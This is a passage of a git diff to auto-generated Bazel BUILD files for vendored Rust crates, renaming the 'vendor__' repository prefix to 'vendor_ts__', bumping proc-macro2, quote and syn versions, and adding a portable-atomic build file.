-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__windows-targets-0.52.6//:windows_targets",  # cfg(windows)
+            "@vendor_ts__windows-targets-0.52.6//:windows_targets",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:armv7-linux-androideabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:i686-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:i686-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__windows-targets-0.52.6//:windows_targets",  # cfg(windows)
+            "@vendor_ts__windows-targets-0.52.6//:windows_targets",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:i686-unknown-freebsd": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-apple-ios": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__windows-targets-0.52.6//:windows_targets",  # cfg(windows)
+            "@vendor_ts__windows-targets-0.52.6//:windows_targets",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:x86_64-unknown-freebsd": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "//conditions:default": [],
     }),
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pear-0.2.9.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pear-0.2.9.bazel
index ec071cb5de34..72d8ec29384b 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pear-0.2.9.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pear-0.2.9.bazel
@@ -36,7 +36,7 @@ rust_library(
     crate_root = "src/lib.rs",
     edition = "2018",
     proc_macro_deps = [
-        "@vendor__pear_codegen-0.2.9//:pear_codegen",
+        "@vendor_ts__pear_codegen-0.2.9//:pear_codegen",
     ],
     rustc_flags = [
         "--cap-lints=allow",
@@ -89,7 +89,7 @@ rust_library(
     }),
     version = "0.2.9",
     deps = [
-        "@vendor__inlinable_string-0.1.15//:inlinable_string",
-        "@vendor__yansi-1.0.1//:yansi",
+        "@vendor_ts__inlinable_string-0.1.15//:inlinable_string",
+        "@vendor_ts__yansi-1.0.1//:yansi",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pear_codegen-0.2.9.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pear_codegen-0.2.9.bazel
index b7f577c7ca46..d4a945c39ea6 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pear_codegen-0.2.9.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pear_codegen-0.2.9.bazel
@@ -81,9 +81,9 @@ rust_proc_macro(
     }),
     version = "0.2.9",
     deps = [
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__proc-macro2-diagnostics-0.10.1//:proc_macro2_diagnostics",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__proc-macro2-diagnostics-0.10.1//:proc_macro2_diagnostics",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.perf-event-0.4.7.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.perf-event-0.4.7.bazel
index 1f6476ee6320..5784824a2985 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.perf-event-0.4.7.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.perf-event-0.4.7.bazel
@@ -81,7 +81,7 @@ rust_library(
     }),
     version = "0.4.7",
     deps = [
-        "@vendor__libc-0.2.169//:libc",
-        "@vendor__perf-event-open-sys-1.0.1//:perf_event_open_sys",
+        "@vendor_ts__libc-0.2.169//:libc",
+        "@vendor_ts__perf-event-open-sys-1.0.1//:perf_event_open_sys",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.perf-event-open-sys-1.0.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.perf-event-open-sys-1.0.1.bazel
index bae5d7a89bfd..92b15bc5d885 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.perf-event-open-sys-1.0.1.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.perf-event-open-sys-1.0.1.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "1.0.1",
     deps = [
-        "@vendor__libc-0.2.169//:libc",
+        "@vendor_ts__libc-0.2.169//:libc",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.petgraph-0.6.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.petgraph-0.6.5.bazel
index 44b02c9f9d4e..df987bd453e9 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.petgraph-0.6.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.petgraph-0.6.5.bazel
@@ -87,7 +87,7 @@ rust_library(
     }),
     version = "0.6.5",
     deps = [
-        "@vendor__fixedbitset-0.4.2//:fixedbitset",
-        "@vendor__indexmap-2.7.0//:indexmap",
+        "@vendor_ts__fixedbitset-0.4.2//:fixedbitset",
+        "@vendor_ts__indexmap-2.7.0//:indexmap",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.portable-atomic-1.11.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.portable-atomic-1.11.0.bazel
new file mode 100644
index 000000000000..e246d3aa71d0
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.portable-atomic-1.11.0.bazel
@@ -0,0 +1,150 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "portable_atomic",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "fallback",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=portable-atomic",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.11.0",
+    deps = [
+        "@vendor_ts__portable-atomic-1.11.0//:build_script_build",
+    ],
+)
+
+cargo_build_script(
+    name = "_bs",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            "**/*.rs",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "fallback",
+    ],
+    crate_name = "build_script_build",
+    crate_root = "build.rs",
+    data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    edition = "2018",
+    pkg_name = "portable-atomic",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=portable-atomic",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    version = "1.11.0",
+    visibility = ["//visibility:private"],
+)
+
+alias(
+    name = "build_script_build",
+    actual = ":_bs",
+    tags = ["manual"],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ppv-lite86-0.2.20.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ppv-lite86-0.2.20.bazel
index 7a21bfe9b505..37a6586979ac 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ppv-lite86-0.2.20.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ppv-lite86-0.2.20.bazel
@@ -85,6 +85,6 @@ rust_library(
     }),
     version = "0.2.20",
     deps = [
-        "@vendor__zerocopy-0.7.35//:zerocopy",
+        "@vendor_ts__zerocopy-0.7.35//:zerocopy",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-1.0.93.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-1.0.93.bazel
deleted file mode 100644
index 17e69670194b..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-1.0.93.bazel
+++ /dev/null
@@ -1,151 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "proc_macro2",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-        "proc-macro",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=proc-macro2",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "1.0.93",
-    deps = [
-        "@vendor__proc-macro2-1.0.93//:build_script_build",
-        "@vendor__unicode-ident-1.0.14//:unicode_ident",
-    ],
-)
-
-cargo_build_script(
-    name = "_bs",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            "**/*.rs",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-        "proc-macro",
-    ],
-    crate_name = "build_script_build",
-    crate_root = "build.rs",
-    data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    edition = "2021",
-    pkg_name = "proc-macro2",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=proc-macro2",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    version = "1.0.93",
-    visibility = ["//visibility:private"],
-)
-
-alias(
-    name = "build_script_build",
-    actual = ":_bs",
-    tags = ["manual"],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-1.0.94.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-1.0.94.bazel
new file mode 100644
index 000000000000..c78fa364e8e5
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-1.0.94.bazel
@@ -0,0 +1,151 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "proc_macro2",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "proc-macro",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=proc-macro2",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.0.94",
+    deps = [
+        "@vendor_ts__proc-macro2-1.0.94//:build_script_build",
+        "@vendor_ts__unicode-ident-1.0.16//:unicode_ident",
+    ],
+)
+
+cargo_build_script(
+    name = "_bs",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            "**/*.rs",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "proc-macro",
+    ],
+    crate_name = "build_script_build",
+    crate_root = "build.rs",
+    data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    edition = "2021",
+    pkg_name = "proc-macro2",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=proc-macro2",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    version = "1.0.94",
+    visibility = ["//visibility:private"],
+)
+
+alias(
+    name = "build_script_build",
+    actual = ":_bs",
+    tags = ["manual"],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-diagnostics-0.10.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-diagnostics-0.10.1.bazel
index 478e5671ace3..3b05cf970419 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-diagnostics-0.10.1.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-diagnostics-0.10.1.bazel
@@ -87,11 +87,11 @@ rust_library(
     }),
     version = "0.10.1",
     deps = [
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__proc-macro2-diagnostics-0.10.1//:build_script_build",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
-        "@vendor__yansi-1.0.1//:yansi",
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__proc-macro2-diagnostics-0.10.1//:build_script_build",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
+        "@vendor_ts__yansi-1.0.1//:yansi",
     ],
 )
 
@@ -148,7 +148,7 @@ cargo_build_script(
     version = "0.10.1",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__version_check-0.9.5//:version_check",
+        "@vendor_ts__version_check-0.9.5//:version_check",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.quote-1.0.38.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.quote-1.0.38.bazel
deleted file mode 100644
index 6e2d08c844e6..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.quote-1.0.38.bazel
+++ /dev/null
@@ -1,90 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "quote",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-        "proc-macro",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=quote",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
